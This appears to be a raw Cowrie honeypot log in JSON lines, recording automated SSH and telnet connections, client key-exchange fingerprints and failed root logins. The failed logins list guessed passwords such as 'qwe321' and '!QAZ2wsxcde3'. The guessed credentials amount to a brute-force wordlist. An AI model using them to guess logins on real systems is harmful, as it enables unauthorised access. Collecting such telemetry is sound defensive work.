{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:33.102998Z","src_ip":"103.149.170.125","session":"b20852f43637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe321","message":"login attempt [root/qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:34.215024Z","src_ip":"103.149.170.125","session":"b20852f43637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:35.485838Z","src_ip":"103.149.170.125","session":"b20852f43637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.55442833900452,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:36.128413Z","src_ip":"192.119.13.58","session":"297505c0d7c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":50870,"dst_ip":"159.203.135.109","dst_port":22,"session":"44cb590547a7","protocol":"ssh","message":"New connection: 43.128.106.207:50870 (159.203.135.109:22) [session: 44cb590547a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:59.140355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:59.145139Z","src_ip":"43.128.106.207","session":"44cb590547a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:59.390347Z","src_ip":"43.128.106.207","session":"44cb590547a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:00.405943Z","src_ip":"43.128.106.207","session":"44cb590547a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:01.656652Z","src_ip":"43.128.106.207","session":"44cb590547a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":38546,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3f1ffd2983","protocol":"ssh","message":"New connection: 217.154.42.110:38546 (159.203.135.109:22) [session: 8f3f1ffd2983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:03.152725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:03.158111Z","src_ip":"217.154.42.110","session":"8f3f1ffd2983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:03.246919Z","src_ip":"217.154.42.110","session":"8f3f1ffd2983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsxcde3","message":"login attempt [root/!QAZ2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:03.601546Z","src_ip":"217.154.42.110","session":"8f3f1ffd2983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:04.690725Z","src_ip":"217.154.42.110","session":"8f3f1ffd2983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":48320,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbb36e8b446","protocol":"ssh","message":"New connection: 103.243.24.124:48320 (10.17.0.5:22) [session: 4fbb36e8b446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:05.985006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:05.989512Z","src_ip":"103.243.24.124","session":"4fbb36e8b446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:06.194093Z","src_ip":"103.243.24.124","session":"4fbb36e8b446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shimi","message":"login attempt [root/shimi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:06.606451Z","src_ip":"103.243.24.124","session":"4fbb36e8b446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":38998,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1d8c469d68","protocol":"ssh","message":"New connection: 43.134.112.237:38998 (159.203.135.109:22) [session: 2a1d8c469d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.281610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.285998Z","src_ip":"43.134.112.237","session":"2a1d8c469d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.531299Z","src_ip":"43.134.112.237","session":"2a1d8c469d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":54768,"dst_ip":"10.17.0.5","dst_port":22,"session":"573508360b0c","protocol":"ssh","message":"New connection: 103.96.74.162:54768 (10.17.0.5:22) [session: 573508360b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.588517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.593820Z","src_ip":"103.96.74.162","session":"573508360b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.814052Z","src_ip":"103.243.24.124","session":"4fbb36e8b446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:07.870862Z","src_ip":"103.96.74.162","session":"573508360b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wolf","message":"login attempt [root/wolf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:08.547696Z","src_ip":"43.134.112.237","session":"2a1d8c469d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!@#","message":"login attempt [root/123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:08.683254Z","src_ip":"103.96.74.162","session":"573508360b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:09.795548Z","src_ip":"43.134.112.237","session":"2a1d8c469d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":43222,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e810a70c5b","protocol":"ssh","message":"New connection: 185.40.30.168:43222 (10.17.0.5:22) [session: 38e810a70c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:09.915572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:09.921532Z","src_ip":"185.40.30.168","session":"38e810a70c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:09.933149Z","src_ip":"103.96.74.162","session":"573508360b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:10.045125Z","src_ip":"185.40.30.168","session":"38e810a70c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"insecure","message":"login attempt [root/insecure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:10.564552Z","src_ip":"185.40.30.168","session":"38e810a70c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:11.689868Z","src_ip":"185.40.30.168","session":"38e810a70c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":49660,"dst_ip":"10.17.0.5","dst_port":22,"session":"067699ed286d","protocol":"ssh","message":"New connection: 168.144.95.137:49660 (10.17.0.5:22) [session: 067699ed286d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:14.956427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:14.963169Z","src_ip":"168.144.95.137","session":"067699ed286d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":58470,"dst_ip":"159.203.135.109","dst_port":22,"session":"088e95deb293","protocol":"ssh","message":"New connection: 43.134.104.184:58470 (159.203.135.109:22) [session: 088e95deb293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:14.968868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:14.974431Z","src_ip":"43.134.104.184","session":"088e95deb293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:15.172412Z","src_ip":"168.144.95.137","session":"067699ed286d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:15.212494Z","src_ip":"43.134.104.184","session":"088e95deb293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reboot","message":"login attempt [root/reboot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.035927Z","src_ip":"168.144.95.137","session":"067699ed286d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.192059Z","src_ip":"43.134.104.184","session":"088e95deb293","protocol":"ssh"}
